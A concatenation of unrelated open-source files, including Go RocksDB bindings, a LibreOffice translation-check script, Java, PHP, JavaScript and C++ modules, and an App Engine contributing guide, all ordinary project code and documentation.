func (wb *WriteBatch) PutLogData(blob []byte) {
cBlob := byteToChar(blob)
C.rocksdb_writebatch_put_log_data(wb.c, cBlob, C.size_t(len(blob)))
}
// Merge queues a merge of "value" with the existing value of "key".
func (wb *WriteBatch) Merge(key, value []byte) {
cKey := byteToChar(key)
cValue := byteToChar(value)
C.rocksdb_writebatch_merge(wb.c, cKey, C.size_t(len(key)), cValue, C.size_t(len(value)))
}
// MergeCF queues a merge of "value" with the existing value of "key" in a
// column family.
func (wb *WriteBatch) MergeCF(cf *ColumnFamilyHandle, key, value []byte) {
cKey := byteToChar(key)
cValue := byteToChar(value)
C.rocksdb_writebatch_merge_cf(wb.c, cf.c, cKey, C.size_t(len(key)), cValue, C.size_t(len(value)))
}
// Delete queues a deletion of the data at key.
func (wb *WriteBatch) Delete(key []byte) {
cKey := byteToChar(key)
C.rocksdb_writebatch_delete(wb.c, cKey, C.size_t(len(key)))
}
// DeleteCF queues a deletion of the data at key in a column family.
func (wb *WriteBatch) DeleteCF(cf *ColumnFamilyHandle, key []byte) {
cKey := byteToChar(key)
C.rocksdb_writebatch_delete_cf(wb.c, cf.c, cKey, C.size_t(len(key)))
}
// DeleteRange deletes keys that are between [startKey, endKey)
func (wb *WriteBatch) DeleteRange(startKey []byte, endKey []byte) {
cStartKey := byteToChar(startKey)
cEndKey := byteToChar(endKey)
C.rocksdb_writebatch_delete_range(wb.c, cStartKey, C.size_t(len(startKey)), cEndKey, C.size_t(len(endKey)))
}
// DeleteRangeCF deletes keys that are between [startKey, endKey) and
// belong to a given column family
func (wb *WriteBatch) DeleteRangeCF(cf *ColumnFamilyHandle, startKey []byte, endKey []byte) {
cStartKey := byteToChar(startKey)
cEndKey := byteToChar(endKey)
C.rocksdb_writebatch_delete_range_cf(wb.c, cf.c, cStartKey, C.size_t(len(startKey)), cEndKey, C.size_t(len(endKey)))
}
// Data returns the serialized version of this batch.
func (wb *WriteBatch) Data() []byte {
var cSize C.size_t
cValue := C.rocksdb_writebatch_data(wb.c, &cSize)
return charToByte(cValue, cSize)
}
// Count returns the number of updates in the batch.
func (wb *WriteBatch) Count() int {
return int(C.rocksdb_writebatch_count(wb.c))
}
// NewIterator returns a iterator to iterate over the records in the batch.
func (wb *WriteBatch) NewIterator() *WriteBatchIterator {
data := wb.Data()
if len(data) < 8+4 {
return &WriteBatchIterator{}
}
return &WriteBatchIterator{data: data[12:]}
}
// Clear removes all the enqueued Put and Deletes.
func (wb *WriteBatch) Clear() {
C.rocksdb_writebatch_clear(wb.c)
}
// Destroy deallocates the WriteBatch object.
func (wb *WriteBatch) Destroy() {
C.rocksdb_writebatch_destroy(wb.c)
wb.c = nil
}
// WriteBatchRecordType describes the type of a batch record.
type WriteBatchRecordType byte
// Types of batch records.
const (
WriteBatchDeletionRecord WriteBatchRecordType = 0x0
WriteBatchValueRecord WriteBatchRecordType = 0x1
WriteBatchMergeRecord WriteBatchRecordType = 0x2
WriteBatchLogDataRecord WriteBatchRecordType = 0x3
WriteBatchCFDeletionRecord WriteBatchRecordType = 0x4
WriteBatchCFValueRecord WriteBatchRecordType = 0x5
WriteBatchCFMergeRecord WriteBatchRecordType = 0x6
WriteBatchSingleDeletionRecord WriteBatchRecordType = 0x7
WriteBatchCFSingleDeletionRecord WriteBatchRecordType = 0x8
WriteBatchBeginPrepareXIDRecord WriteBatchRecordType = 0x9
WriteBatchEndPrepareXIDRecord WriteBatchRecordType = 0xA
WriteBatchCommitXIDRecord WriteBatchRecordType = 0xB
WriteBatchRollbackXIDRecord WriteBatchRecordType = 0xC
WriteBatchNoopRecord WriteBatchRecordType = 0xD
WriteBatchRangeDeletion WriteBatchRecordType = 0xF
WriteBatchCFRangeDeletion WriteBatchRecordType = 0xE
WriteBatchCFBlobIndex WriteBatchRecordType = 0x10
WriteBatchBlobIndex WriteBatchRecordType = 0x11
WriteBatchBeginPersistedPrepareXIDRecord WriteBatchRecordType = 0x12
WriteBatchNotUsedRecord WriteBatchRecordType = 0x7F
)
// WriteBatchRecord represents a record inside a WriteBatch.
type WriteBatchRecord struct {
CF int
Key []byte
Value []byte
Type WriteBatchRecordType
}
// WriteBatchIterator represents a iterator to iterator over records.
type WriteBatchIterator struct {
data []byte
record WriteBatchRecord
err error
}
// Next returns the next record.
// Returns false if no further record exists.
func (iter *WriteBatchIterator) Next() bool {
if iter.err != nil || len(iter.data) == 0 {
return false
}
// reset the current record
iter.record.CF = 0
iter.record.Key = nil
iter.record.Value = nil
// parse the record type
iter.record.Type = iter.decodeRecType()
switch iter.record.Type {
case
WriteBatchDeletionRecord,
WriteBatchSingleDeletionRecord:
iter.record.Key = iter.decodeSlice()
case
WriteBatchCFDeletionRecord,
WriteBatchCFSingleDeletionRecord:
iter.record.CF = int(iter.decodeVarint())
if iter.err == nil {
iter.record.Key = iter.decodeSlice()
}
case
WriteBatchValueRecord,
WriteBatchMergeRecord,
WriteBatchRangeDeletion,
WriteBatchBlobIndex:
iter.record.Key = iter.decodeSlice()
if iter.err == nil {
iter.record.Value = iter.decodeSlice()
}
case
WriteBatchCFValueRecord,
WriteBatchCFRangeDeletion,
WriteBatchCFMergeRecord,
WriteBatchCFBlobIndex:
iter.record.CF = int(iter.decodeVarint())
if iter.err == nil {
iter.record.Key = iter.decodeSlice()
}
if iter.err == nil {
iter.record.Value = iter.decodeSlice()
}
case WriteBatchLogDataRecord:
iter.record.Value = iter.decodeSlice()
case
WriteBatchNoopRecord,
WriteBatchBeginPrepareXIDRecord,
WriteBatchBeginPersistedPrepareXIDRecord:
case
WriteBatchEndPrepareXIDRecord,
WriteBatchCommitXIDRecord,
WriteBatchRollbackXIDRecord:
iter.record.Value = iter.decodeSlice()
default:
iter.err = errors.New("unsupported wal record type")
}
return iter.err == nil
}
// Record returns the current record.
func (iter *WriteBatchIterator) Record() *WriteBatchRecord {
return &iter.record
}
// Error returns the error if the iteration is failed.
func (iter *WriteBatchIterator) Error() error {
return iter.err
}
func (iter *WriteBatchIterator) decodeSlice() []byte {
l := int(iter.decodeVarint())
if l > len(iter.data) {
iter.err = io.ErrShortBuffer
}
if iter.err != nil {
return []byte{}
}
ret := iter.data[:l]
iter.data = iter.data[l:]
return ret
}
func (iter *WriteBatchIterator) decodeRecType() WriteBatchRecordType {
if len(iter.data) == 0 {
iter.err = io.ErrShortBuffer
return WriteBatchNotUsedRecord
}
t := iter.data[0]
iter.data = iter.data[1:]
return WriteBatchRecordType(t)
}
func (iter *WriteBatchIterator) decodeVarint() uint64 {
var n int
var x uint64
for shift := uint(0); shift < 64 && n < len(iter.data); shift += 7 {
b := uint64(iter.data[n])
n++
x |= (b & 0x7F) << shift
if (b & 0x80) == 0 {
iter.data = iter.data[n:]
return x
}
}
if n == len(iter.data) {
iter.err = io.ErrShortBuffer
} else {
iter.err = errors.New("malformed varint")
}
return 0
}
|
{
"pile_set_name": "Github"
}
|
\mycommand[optionalargument]
{
first mandatory
}
{
second mandatory
} after text
|
{
"pile_set_name": "Github"
}
|
#!/bin/bash
# This file is part of the LibreOffice project.
#
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
# This script prints lines from .ui files, where the translatable="yes" attribute
# was not set -- presumably by mistake. It prints a few false positives though.
for i in `git ls-files *.ui`; do
for j in "label" "title" "text" "format" "copyright" "comments" "preview_text" "tooltip" "message" ; do
grep -s "\<property name\=\"$j\"" $i | grep -v "translatable\=\"yes" | grep -v "translatable\=\"no" | grep -v gtk\- | grep ">.*[A-Za-z].*<";
if [ "$?" -eq 0 ] ;
then echo "Source: $i^";
fi
done
grep -s "<item" $i | grep -v "translatable\=\"yes" | grep -v "translatable\=\"no" | grep ">.*[A-Za-z].*<";
if [ "$?" -eq 0 ] ;
then echo "Source: $i^";
fi
done
|
{
"pile_set_name": "Github"
}
|
# @generated by autocargo from //hphp/hack/src/parser/api:direct_decl_parser
[package]
name = "direct_decl_parser"
edition = "2018"
version = "0.0.0"
include = ["../../direct_decl_parser.rs"]
[lib]
path = "../../direct_decl_parser.rs"
[dependencies]
direct_decl_smart_constructors = { path = "../../../../decl/direct_decl_smart_constructors" }
parser = { path = "../../../core" }
parser_core_types = { path = "../../../cargo/core_types" }
stack_limit = { path = "../../../../utils/stack_limit" }
bumpalo = { version = "3.2.1", features = ["collections"] }
|
{
"pile_set_name": "Github"
}
|
'use strict';
var common = require('../common');
var assert = require('assert');
var path = require('path'),
Buffer = require('buffer').Buffer,
fs = require('fs'),
filename = path.join(common.tmpDir, 'write.txt'),
expected = new Buffer('hello'),
openCalled = 0,
writeCalled = 0;
fs.open(filename, 'w', 0o644, function(err, fd) {
openCalled++;
if (err) throw err;
fs.write(fd, expected, 0, expected.length, null, function(err, written) {
writeCalled++;
if (err) throw err;
assert.equal(expected.length, written);
fs.closeSync(fd);
var found = fs.readFileSync(filename, 'utf8');
assert.deepEqual(expected.toString(), found);
fs.unlinkSync(filename);
});
});
process.on('exit', function() {
assert.equal(1, openCalled);
assert.equal(1, writeCalled);
});
|
{
"pile_set_name": "Github"
}
|
// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package packet
import (
"crypto"
"crypto/rand"
"io"
"time"
)
// Config collects a number of parameters along with sensible defaults.
// A nil *Config is valid and results in all default values.
type Config struct {
// Rand provides the source of entropy.
// If nil, the crypto/rand Reader is used.
Rand io.Reader
// DefaultHash is the default hash function to be used.
// If zero, SHA-256 is used.
DefaultHash crypto.Hash
// DefaultCipher is the cipher to be used.
// If zero, AES-128 is used.
DefaultCipher CipherFunction
// Time returns the current time as the number of seconds since the
// epoch. If Time is nil, time.Now is used.
Time func() time.Time
// DefaultCompressionAlgo is the compression algorithm to be
// applied to the plaintext before encryption. If zero, no
// compression is done.
DefaultCompressionAlgo CompressionAlgo
// CompressionConfig configures the compression settings.
CompressionConfig *CompressionConfig
// S2KCount is only used for symmetric encryption. It
// determines the strength of the passphrase stretching when
// the said passphrase is hashed to produce a key. S2KCount
// should be between 1024 and 65011712, inclusive. If Config
// is nil or S2KCount is 0, the value 65536 used. Not all
// values in the above range can be represented. S2KCount will
// be rounded up to the next representable value if it cannot
// be encoded exactly. When set, it is strongly encrouraged to
// use a value that is at least 65536. See RFC 4880 Section
// 3.7.1.3.
S2KCount int
// RSABits is the number of bits in new RSA keys made with NewEntity.
// If zero, then 2048 bit keys are created.
RSABits int
}
func (c *Config) Random() io.Reader {
if c == nil || c.Rand == nil {
return rand.Reader
}
return c.Rand
}
func (c *Config) Hash() crypto.Hash {
if c == nil || uint(c.DefaultHash) == 0 {
return crypto.SHA256
}
return c.DefaultHash
}
func (c *Config) Cipher() CipherFunction {
if c == nil || uint8(c.DefaultCipher) == 0 {
return CipherAES128
}
return c.DefaultCipher
}
func (c *Config) Now() time.Time {
if c == nil || c.Time == nil {
return time.Now()
}
return c.Time()
}
func (c *Config) Compression() CompressionAlgo {
if c == nil {
return CompressionNone
}
return c.DefaultCompressionAlgo
}
func (c *Config) PasswordHashIterations() int {
if c == nil || c.S2KCount == 0 {
return 0
}
return c.S2KCount
}
|
{
"pile_set_name": "Github"
}
|
package com.yourpackagename.yourwebproject.common;
import com.yourpackagename.yourwebproject.api.common.ApiRoute;
import com.yourpackagename.yourwebproject.webapp.common.Route;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.ImportResource;
import javax.annotation.PostConstruct;
import java.util.Arrays;
import java.util.List;
/**
* Loaded from the property files
*
* @author: Y Kamesh Rao
* @created: 4/14/12 3:07 PM
* @company: © 2012, Kaleidosoft Labs
*/
@ImportResource("classpath:config/spring/applicationContext-properties.xml")
public class Props {
public @Value("#{fProps['yourwebproject.host']}") String fHost;
public @Value("#{fProps['yourwebproject.api.path']}") String fApiPath;
public @Value("#{fProps['yourwebproject.web.path']}") String fWebPath;
public @Value("#{fProps['yourwebproject.user.country']}") String fUserCountry;
public @Value("#{mailProps['mail.fromAddress']}") String fromAddress;
public @Value("#{mailProps['mail.sub.verificationEmail']}") String subVerificationEmail;
public @Value("#{mailProps['mail.sub.confirmationEmail']}") String subConfirmationEmail;
public @Value("#{mailProps['mail.verifyUrl']}") String verifyUrl;
public List<String> webAuthRoutes;
public List<String> apiAuthRoutes;
@PostConstruct
public void init() {
webAuthRoutes = Arrays.asList(
fWebPath + Route.dashboard
);
apiAuthRoutes = Arrays.asList(
fApiPath + ApiRoute.userController + ApiRoute.uRegister,
fApiPath + ApiRoute.userController + ApiRoute.uLogin
);
}
}
|
{
"pile_set_name": "Github"
}
|
// Copyright 2008-2009 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// ========================================================================
#include "omaha/ui/ui_metrics.h"
namespace omaha {
DEFINE_METRIC_timing(worker_ui_cancel_ms);
DEFINE_METRIC_count(worker_ui_cancels);
DEFINE_METRIC_count(worker_ui_click_x);
DEFINE_METRIC_count(worker_ui_esc_key_total);
DEFINE_METRIC_count(worker_ui_restart_browser_buttons_displayed);
DEFINE_METRIC_count(worker_ui_restart_browser_now_click);
DEFINE_METRIC_count(worker_ui_restart_all_browsers_buttons_displayed);
DEFINE_METRIC_count(worker_ui_restart_all_browsers_now_click);
DEFINE_METRIC_count(worker_ui_reboot_buttons_displayed);
DEFINE_METRIC_count(worker_ui_reboot_now_click);
DEFINE_METRIC_count(worker_ui_get_help_displayed);
DEFINE_METRIC_count(worker_ui_get_help_click);
} // namespace omaha
|
{
"pile_set_name": "Github"
}
|
# Contributing
1. Sign one of the contributor license agreements below.
1. Get the package:
`go get -d google.golang.org/appengine`
1. Change into the checked out source:
`cd $GOPATH/src/google.golang.org/appengine`
1. Fork the repo.
1. Set your fork as a remote:
`git remote add fork git@github.com:GITHUB_USERNAME/appengine.git`
1. Make changes, commit to your fork.
1. Send a pull request with your changes.
The first line of your commit message is conventionally a one-line summary of the change, prefixed by the primary affected package, and is used as the title of your pull request.
# Testing
## Running system tests
Download and install the [Go App Engine SDK](https://cloud.google.com/appengine/docs/go/download). Make sure the `go_appengine` dir is in your `PATH`.
Set the `APPENGINE_DEV_APPSERVER` environment variable to `/path/to/go_appengine/dev_appserver.py`.
Run tests with `goapp test`:
```
goapp test -v google.golang.org/appengine/...
```
## Contributor License Agreements
Before we can accept your pull requests you'll need to sign a Contributor
License Agreement (CLA):
- **If you are an individual writing original source code** and **you own the
intellectual property**, then you'll need to sign an [individual CLA][indvcla].
- **If you work for a company that wants to allow you to contribute your work**,
then you'll need to sign a [corporate CLA][corpcla].
You can sign these electronically (just scroll to the bottom). After that,
we'll be able to accept your pull requests.
## Contributor Code of Conduct
As contributors and maintainers of this project,
and in the interest of fostering an open and welcoming community,
we pledge to respect all people who contribute through reporting issues,
posting feature requests, updating documentation,
submitting pull requests or patches, and other activities.
We are committed to making participation in this project
a harassment-free experience for everyone,
regardless of level of experience, gender, gender identity and expression,
sexual orientation, disability, personal appearance,
body size, race, ethnicity, age, religion, or nationality.
Examples of unacceptable behavior by participants include:
* The use of sexualized language or imagery
* Personal attacks
* Trolling or insulting/derogatory comments
* Public or private harassment
* Publishing other's private information,
such as physical or electronic
addresses, without explicit permission
* Other unethical or unprofessional conduct.
Project maintainers have the right and responsibility to remove, edit, or reject
comments, commits, code, wiki edits, issues, and other contributions
that are not aligned to this Code of Conduct.
By adopting this Code of Conduct,
project maintainers commit themselves to fairly and consistently
applying these principles to every aspect of managing this project.
Project maintainers who do not follow or enforce the Code of Conduct
may be permanently removed from the project team.
This code of conduct applies both within project spaces and in public spaces
when an individual is representing the project or its community.
Instances of abusive, harassing, or otherwise unacceptable behavior
may be reported by opening an issue
or contacting one or more of the project maintainers.
This Code of Conduct is adapted from the [Contributor Covenant](http://contributor-covenant.org), version 1.2.0,
available at [http://contributor-covenant.org/version/1/2/0/](http://contributor-covenant.org/version/1/2/0/)
[indvcla]: https://developers.google.com/open-source/cla/individual
[corpcla]: https://developers.google.com/open-source/cla/corporate
|
{
"pile_set_name": "Github"
}
|
<?php
namespace Drupal\commerce_order;
use Drupal\commerce\AvailabilityCheckerInterface as LegacyCheckerInterface;
use Drupal\commerce\Context;
use Drupal\commerce_order\Entity\OrderItemInterface;
/**
* Runs the added checkers to determine the availability of an order item.
*
* If any checker returns an "unavailable" availability result,
* the order item is considered to be unavailable.
*
* Example checks:
* - Whether the entity is in stock.
* - Whether the entity's "available on" date is before the current date.
*
* @see \Drupal\commerce_order\AvailabilityCheckerInterface
*/
interface AvailabilityManagerInterface {
/**
* Adds a checker.
*
* @param \Drupal\commerce_order\AvailabilityCheckerInterface $checker
* The checker.
*/
public function addChecker(AvailabilityCheckerInterface $checker);
/**
* Adds a "legacy" (i.e "deprecated") checker.
*
* @param \Drupal\commerce\AvailabilityCheckerInterface $checker
* The "legacy" (i.e "deprecated") checker.
*/
public function addLegacyChecker(LegacyCheckerInterface $checker);
/**
* Checks the availability of the given order item.
*
* @param \Drupal\commerce_order\Entity\OrderItemInterface $order_item
* The the order item.
* @param \Drupal\commerce\Context $context
* The context.
*
* @return \Drupal\commerce_order\AvailabilityResult
* An AvailabilityResult value object determining whether an order item
* is available for purchase.
*/
public function check(OrderItemInterface $order_item, Context $context) : AvailabilityResult;
}
|
{
"pile_set_name": "Github"
}
|
package com.thomsonreuters.upa.shared;
import com.thomsonreuters.upa.transport.Channel;
import com.thomsonreuters.upa.valueadd.domainrep.rdm.login.LoginRTT;
import com.thomsonreuters.upa.valueadd.domainrep.rdm.login.LoginRequest;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Objects;
public class LoginRttInfoList implements Iterable<LoginRttInfo> {
private List<LoginRttInfo> loginRttInfoList = new ArrayList<>(ProviderSession.NUM_CLIENT_SESSIONS);
public LoginRttInfoList() {
for (int i = 0; i < ProviderSession.NUM_CLIENT_SESSIONS; i++) {
loginRttInfoList.add(new LoginRttInfo());
}
}
/**
* Initialize login rtt info watch list.
*/
public void init() {
for (LoginRttInfo loginRttInfo : loginRttInfoList) {
loginRttInfo.clear();
}
}
/**
* Gets a login rtt information for a channel with same stream id.
*
* @param channel - The channel to get the login request information
* structure for the message
* @param loginRTT - The LoginRTT containing the stream id
* @return {@link LoginRttInfo} for the channel, null if login stream id
* is different for the same channel or maximum login limit is
* reached.
*/
public LoginRttInfo get(Channel channel, LoginRTT loginRTT) {
LoginRttInfo loginRttInfo = null;
for (LoginRttInfo loginRttInfoTmp : loginRttInfoList) {
if (loginRttInfoTmp.isInUse() && loginRttInfoTmp.channel().equals(channel)) {
loginRttInfo = loginRttInfoTmp;
if (loginRttInfo.loginRtt().streamId() != loginRTT.streamId()) {
return null;
}
}
}
// get a new one if one is not already in use
if (loginRttInfo == null) {
for (LoginRttInfo loginRttInfoTmp : loginRttInfoList) {
if (!loginRttInfoTmp.isInUse()) {
loginRttInfo = loginRttInfoTmp;
loginRttInfo.channel(channel);
loginRttInfo.setInUse(true);
loginRTT.copy(loginRttInfo.loginRtt());
break;
}
}
}
return loginRttInfo;
}
/**
* Finds a login request information for the channel.
*
* @param channel - The channel to get the login request information for.
* @return {@link LoginRequestInfo} for the channel
*/
public LoginRttInfo get(Channel channel) {
return loginRttInfoList.stream()
.filter(loginRttInfo -> loginRttInfo.isInUse() && loginRttInfo.channel().equals(channel))
.findAny()
.orElse(null);
}
public LoginRttInfo createFromRequest(Channel channel, LoginRequest loginRequest) {
final LoginRttInfo appropriateLoginRttInfo = loginRttInfoList.stream()
.filter(loginRttInfo -> !loginRttInfo.isInUse())
.findFirst()
.orElse(null);
if (appropriateLoginRttInfo != null) {
appropriateLoginRttInfo.loginRtt().initRTT(loginRequest.streamId());
appropriateLoginRttInfo.channel(channel);
appropriateLoginRttInfo.setInUse(true);
}
return appropriateLoginRttInfo;
}
public void clearForStream(int streamId) {
loginRttInfoList.removeIf(loginRttInfo ->
loginRttInfo.isInUse() && Objects.equals(streamId, loginRttInfo.loginRtt().streamId()));
}
@Override
public Iterator<LoginRttInfo> iterator() {
return loginRttInfoList.iterator();
}
}
|
{
"pile_set_name": "Github"
}
|
'use strict';
const coreEvents = require('./coreEvents');
const coreUtils = require('./coreUtils');
const coreWebsocket = require('./coreWebsocket');
const globalObject = require('./globalObject');
const assetsModule = {};
// Create internal event that other modules may subscribe to
coreEvents.createEvent('asset');
// Create an internal event to wait for tags array
coreEvents.createEvent('receivedAssets');
let weHaveReceivedTags = false;
// Create event in userland.
globalObject.createEvent('asset');
let assets;
const websocket = coreWebsocket.copy((event) => event.data.startsWith('{"wa":'));
const webstrateId = coreUtils.getLocationObject().webstrateId;
function waitForAssets() {
return new Promise((resolve, reject)=>{
if (weHaveReceivedTags) {
resolve();
} else {
coreEvents.addEventListener('receivedAssets', function once() {
coreEvents.removeEventListener('receivedAssets', once);
weHaveReceivedTags = true;
resolve();
});
}
});
}
websocket.onjsonmessage = (message) => {
if (message.d !== webstrateId) return;
switch (message.wa) {
case 'assets':
assets = message.assets;
coreEvents.triggerEvent('receivedAssets', assets);
weHaveReceivedTags = true;
break;
case 'asset':
waitForAssets().then(()=>{
assets.push(message.asset);
coreEvents.triggerEvent('asset', message.asset);
globalObject.triggerEvent('asset', message.asset);
});
break;
}
};
// Define webstrate.assets. Returns a frozen copy, so users won't modify it.
Object.defineProperty(globalObject.publicObject, 'assets', {
get: () => {
return Object.freeze(coreUtils.objectClone(assets));
}
});
/**
* Makes it possible to select and upload files.
* @param {Function} callback Callback with two arguments, error and response. First argument will
* be null on success.
* @return {Promise} Promise that gets resolved with the result.
* @public
*/
globalObject.publicObject.uploadAsset = (callback = () => {}, options = {}) => {
return new Promise((accept, reject) => {
const input = document.createElement('input');
input.setAttribute('multiple', true);
input.setAttribute('type', 'file');
input.addEventListener('change', event => {
const formData = new FormData();
Object.entries(options).forEach(([key, value]) => formData.append(key, value));
for (let i=0; i < input.files.length; i++) {
formData.append('file[]', input.files.item(i));
}
fetch('', {
method: 'post',
credentials: 'include',
body: formData
})
.then(res => res.json()
.then(json => {
if (res.ok) {
accept(json);
callback(null, json);
} else {
reject(json.error);
callback(json.error);
}
})
.catch(err => {
reject(err);
callback(err);
})
)
.catch(err => {
reject(err);
callback(err);
});
});
input.click();
});
};
globalObject.publicObject.deleteAsset = (assetName, callback) => {
websocket.send({ wa: 'deleteAsset', d: webstrateId, assetName },
(err, result) => callback && callback(err, result));
};
globalObject.publicObject.searchAsset = (assetIdentifier, query = {}, callback) => {
if (typeof callback !== 'function') throw new Error('Must provide callback function');
const [assetName, assetVersion] = assetIdentifier.split('/');
websocket.send({ wa: 'assetSearch', d: webstrateId, assetName, assetVersion: +assetVersion,
query: query.query, sort: query.sort, limit: query.limit, skip: query.skip },
(err, result) => callback(err, result.records, result.count));
};
module.exports = assetsModule;
|
{
"pile_set_name": "Github"
}
|
<?php
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
declare(strict_types=1);
use Magento\Framework\Api\DataObjectHelper;
use Magento\InventoryApi\Api\Data\SourceInterface;
use Magento\InventoryApi\Api\Data\SourceInterfaceFactory;
use Magento\InventoryApi\Api\SourceRepositoryInterface;
use Magento\TestFramework\Helper\Bootstrap;
$sourceFactory = Bootstrap::getObjectManager()->get(SourceInterfaceFactory::class);
$dataObjectHelper = Bootstrap::getObjectManager()->get(DataObjectHelper::class);
$sourceRepository = Bootstrap::getObjectManager()->get(SourceRepositoryInterface::class);
$sourcesData = [
[
// define only required and needed for tests fields
SourceInterface::SOURCE_CODE => 'source-1',
SourceInterface::NAME => 'Source 1',
SourceInterface::ENABLED => true,
SourceInterface::POSTCODE => 'postcode',
SourceInterface::COUNTRY_ID => 'US',
],
[
SourceInterface::SOURCE_CODE => 'source-2',
SourceInterface::NAME => 'Source 2',
SourceInterface::ENABLED => true,
SourceInterface::POSTCODE => 'postcode',
SourceInterface::COUNTRY_ID => 'US',
],
];
foreach ($sourcesData as $sourceData) {
/** @var SourceInterface $source */
$source = $sourceFactory->create();
$dataObjectHelper->populateWithArray($source, $sourceData, SourceInterface::class);
$sourceRepository->save($source);
}
|
{
"pile_set_name": "Github"
}
|
include LICENSE
include README.rst
include CHANGES.rst
include pyproject.toml
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (C) 2016 Apple Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS''
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
* THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "config.h"
#include "StyleRelations.h"
#include "Element.h"
#include "NodeRenderStyle.h"
#include "RenderStyle.h"
#include "StyleUpdate.h"
namespace WebCore {
namespace Style {
std::unique_ptr<Relations> commitRelationsToRenderStyle(RenderStyle& style, const Element& element, const Relations& relations)
{
std::unique_ptr<Relations> remainingRelations;
auto appendStyleRelation = [&remainingRelations] (const Relation& relation) {
if (!remainingRelations)
remainingRelations = makeUnique<Relations>();
remainingRelations->append(relation);
};
for (auto& relation : relations) {
if (relation.element != &element) {
appendStyleRelation(relation);
continue;
}
switch (relation.type) {
case Relation::AffectedByActive:
style.setAffectedByActive();
appendStyleRelation(relation);
break;
case Relation::AffectedByDrag:
style.setAffectedByDrag();
break;
case Relation::AffectedByEmpty:
style.setEmptyState(relation.value);
appendStyleRelation(relation);
break;
case Relation::AffectedByHover:
style.setAffectedByHover();
break;
case Relation::FirstChild:
style.setFirstChildState();
break;
case Relation::LastChild:
style.setLastChildState();
break;
case Relation::Unique:
style.setUnique();
break;
case Relation::AffectedByFocusWithin:
case Relation::AffectedByPreviousSibling:
case Relation::DescendantsAffectedByPreviousSibling:
case Relation::AffectsNextSibling:
case Relation::ChildrenAffectedByForwardPositionalRules:
case Relation::DescendantsAffectedByForwardPositionalRules:
case Relation::ChildrenAffectedByBackwardPositionalRules:
case Relation::DescendantsAffectedByBackwardPositionalRules:
case Relation::ChildrenAffectedByFirstChildRules:
case Relation::ChildrenAffectedByPropertyBasedBackwardPositionalRules:
case Relation::ChildrenAffectedByLastChildRules:
case Relation::NthChildIndex:
appendStyleRelation(relation);
break;
}
}
return remainingRelations;
}
void commitRelations(std::unique_ptr<Relations> relations, Update& update)
{
if (!relations)
return;
for (auto& relation : *relations) {
auto& element = const_cast<Element&>(*relation.element);
switch (relation.type) {
case Relation::AffectedByActive:
element.setStyleAffectedByActive();
break;
case Relation::AffectedByDrag:
element.setChildrenAffectedByDrag();
break;
case Relation::AffectedByEmpty:
element.setStyleAffectedByEmpty();
break;
case Relation::AffectedByFocusWithin:
element.setStyleAffectedByFocusWithin();
break;
case Relation::AffectedByHover:
element.setChildrenAffectedByHover();
break;
case Relation::AffectedByPreviousSibling:
element.setStyleIsAffectedByPreviousSibling();
break;
case Relation::DescendantsAffectedByPreviousSibling:
element.setDescendantsAffectedByPreviousSibling();
break;
case Relation::AffectsNextSibling: {
auto* sibling = &element;
for (unsigned i = 0; i < relation.value && sibling; ++i, sibling = sibling->nextElementSibling())
sibling->setAffectsNextSiblingElementStyle();
break;
}
case Relation::ChildrenAffectedByForwardPositionalRules:
element.setChildrenAffectedByForwardPositionalRules();
break;
case Relation::DescendantsAffectedByForwardPositionalRules:
element.setDescendantsAffectedByForwardPositionalRules();
break;
case Relation::ChildrenAffectedByBackwardPositionalRules:
element.setChildrenAffectedByBackwardPositionalRules();
break;
case Relation::DescendantsAffectedByBackwardPositionalRules:
element.setDescendantsAffectedByBackwardPositionalRules();
break;
case Relation::ChildrenAffectedByFirstChildRules:
element.setChildrenAffectedByFirstChildRules();
break;
case Relation::ChildrenAffectedByPropertyBasedBackwardPositionalRules:
element.setChildrenAffectedByBackwardPositionalRules();
element.setChildrenAffectedByPropertyBasedBackwardPositionalRules();
break;
case Relation::ChildrenAffectedByLastChildRules:
element.setChildrenAffectedByLastChildRules();
break;
case Relation::FirstChild:
if (auto* style = update.elementStyle(element))
style->setFirstChildState();
break;
case Relation::LastChild:
if (auto* style = update.elementStyle(element))
style->setLastChildState();
break;
case Relation::NthChildIndex:
if (auto* style = update.elementStyle(element))
style->setUnique();
element.setChildIndex(relation.value);
break;
case Relation::Unique:
if (auto* style = update.elementStyle(element))
style->setUnique();
break;
}
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
# Changelog
